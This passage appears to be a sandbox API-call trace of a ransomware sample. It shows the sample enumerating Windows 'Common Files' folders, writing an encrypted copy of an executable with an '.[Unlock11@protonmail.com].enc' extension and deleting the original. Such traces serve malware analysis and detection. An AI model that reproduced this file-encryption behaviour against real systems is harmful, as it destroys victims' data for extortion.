ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Services", cAlternateFileName="")) returned 1 [0197.436] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0197.436] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0197.437] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0197.437] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe" (normalized: "c:\\program files (x86)\\common files\\adobe")) returned 0x30 [0197.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0197.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0197.437] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java" (normalized: "c:\\program files (x86)\\common files\\java")) returned 0x10 [0197.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0197.439] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared" (normalized: "c:\\program files (x86)\\common files\\microsoft shared")) returned 0x30 [0197.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0197.439] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\nickel-pmc.exe" (normalized: "c:\\program files (x86)\\common files\\nickel-pmc.exe")) returned 0x20 [0197.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0197.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0197.440] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Services" (normalized: "c:\\program files (x86)\\common files\\services")) returned 0x10 [0197.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0197.445] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System" (normalized: "c:\\program files (x86)\\common files\\system")) returned 0x10 [0197.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0197.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x33eae40 [0197.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0197.446] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\nickel-pmc.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\nickel-pmc.exe", lpFilePart=0x9bada4*="nickel-pmc.exe") returned 0x32 [0197.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0197.446] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\nickel-pmc.exe" (normalized: "c:\\program files (x86)\\common files\\nickel-pmc.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8074a0, ftCreationTime.dwHighDateTime=0x1d51b7a, ftLastAccessTime.dwLowDateTime=0xa9ba7a90, ftLastAccessTime.dwHighDateTime=0x1d4df08, ftLastWriteTime.dwLowDateTime=0xa9ba7a90, ftLastWriteTime.dwHighDateTime=0x1d4df08, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1 [0197.447] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\nickel-pmc.exe" (normalized: "c:\\program files (x86)\\common files\\nickel-pmc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0197.447] GetFileType (hFile=0x334) returned 0x1 [0197.447] GetFileType (hFile=0x334) returned 0x1 [0197.447] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.447] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.448] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.448] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.448] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.448] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.448] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.448] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\nickel-pmc.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\nickel-pmc.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0197.458] GetFileType (hFile=0x39c) returned 0x1 [0197.459] GetFileType (hFile=0x39c) returned 0x1 [0197.459] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0197.459] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.459] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.459] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.459] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.459] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0197.459] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0197.464] CloseHandle (hObject=0x39c) returned 1 [0197.464] CloseHandle (hObject=0x334) returned 1 [0197.465] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\nickel-pmc.exe" (normalized: "c:\\program files (x86)\\common files\\nickel-pmc.exe")) returned 0 [0197.465] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb39c720, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0197.465] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb39c720, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.466] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33bf1c6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33bf1c6c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0197.466] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="ARM", cAlternateFileName="")) returned 1 [0197.466] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0197.466] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Reader", cAlternateFileName="")) returned 1 [0197.466] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Reader", cAlternateFileName="")) returned 0 [0197.466] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0197.466] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat")) returned 0x10 [0197.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0197.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0197.467] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm")) returned 0x10 [0197.468] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0197.468] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg")) returned 0x10 [0197.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0197.476] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader")) returned 0x10 [0197.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0197.477] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33bf1c6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33bf1c6c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0197.477] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33bf1c6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33bf1c6c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.477] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="ActiveX", cAlternateFileName="")) returned 1 [0197.477] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="ActiveX", cAlternateFileName="")) returned 0 [0197.477] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0197.478] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex")) returned 0x10 [0197.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0197.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0197.478] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7350 [0197.480] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.480] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde812478, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x751f0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AcroPDF.dll", cAlternateFileName="")) returned 1 [0197.480] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde8f7271, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7e1f0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AcroPDF64.dll", cAlternateFileName="ACROPD~3.DLL")) returned 1 [0197.480] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde85e91b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xafdf0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AcroPDFImpl.dll", cAlternateFileName="ACROPD~1.DLL")) returned 1 [0197.480] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde884b66, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1097f0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AcroPDFImpl64.dll", cAlternateFileName="ACROPD~2.DLL")) returned 1 [0197.481] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde884b66, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1097f0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AcroPDFImpl64.dll", cAlternateFileName="ACROPD~2.DLL")) returned 0 [0197.481] FindClose (in: hFindFile=0x10f7350 | out: hFindFile=0x10f7350) returned 1 [0197.482] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.dll" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.dll")) returned 0x20 [0197.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc10 | out: hHeap=0x2ad0000) returned 1 [0197.482] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0197.483] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF64.dll" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf64.dll")) returned 0x20 [0197.483] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db670 | out: hHeap=0x2ad0000) returned 1 [0197.483] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDFImpl.dll" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdfimpl.dll")) returned 0x20 [0197.483] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0197.483] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDFImpl64.dll" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdfimpl64.dll")) returned 0x20 [0197.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0197.485] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.dll", lpFilePart=0x9bada4*="AcroPDF.dll") returned 0x45 [0197.485] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF64.dll", lpFilePart=0x9bada4*="AcroPDF64.dll") returned 0x47 [0197.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0197.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0197.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0197.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0197.486] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDFImpl.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDFImpl.dll", lpFilePart=0x9bada4*="AcroPDFImpl.dll") returned 0x49 [0197.486] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0197.486] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDFImpl64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDFImpl64.dll", lpFilePart=0x9bada4*="AcroPDFImpl64.dll") returned 0x4b [0197.486] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0197.486] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.487] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="1.0", cAlternateFileName="")) returned 1 [0197.487] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="1.0", cAlternateFileName="")) returned 0 [0197.487] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0197.487] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0")) returned 0x30 [0197.487] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0197.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0197.487] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0197.488] FindFirstFileA (in: lpFileName="C:\\Program Files 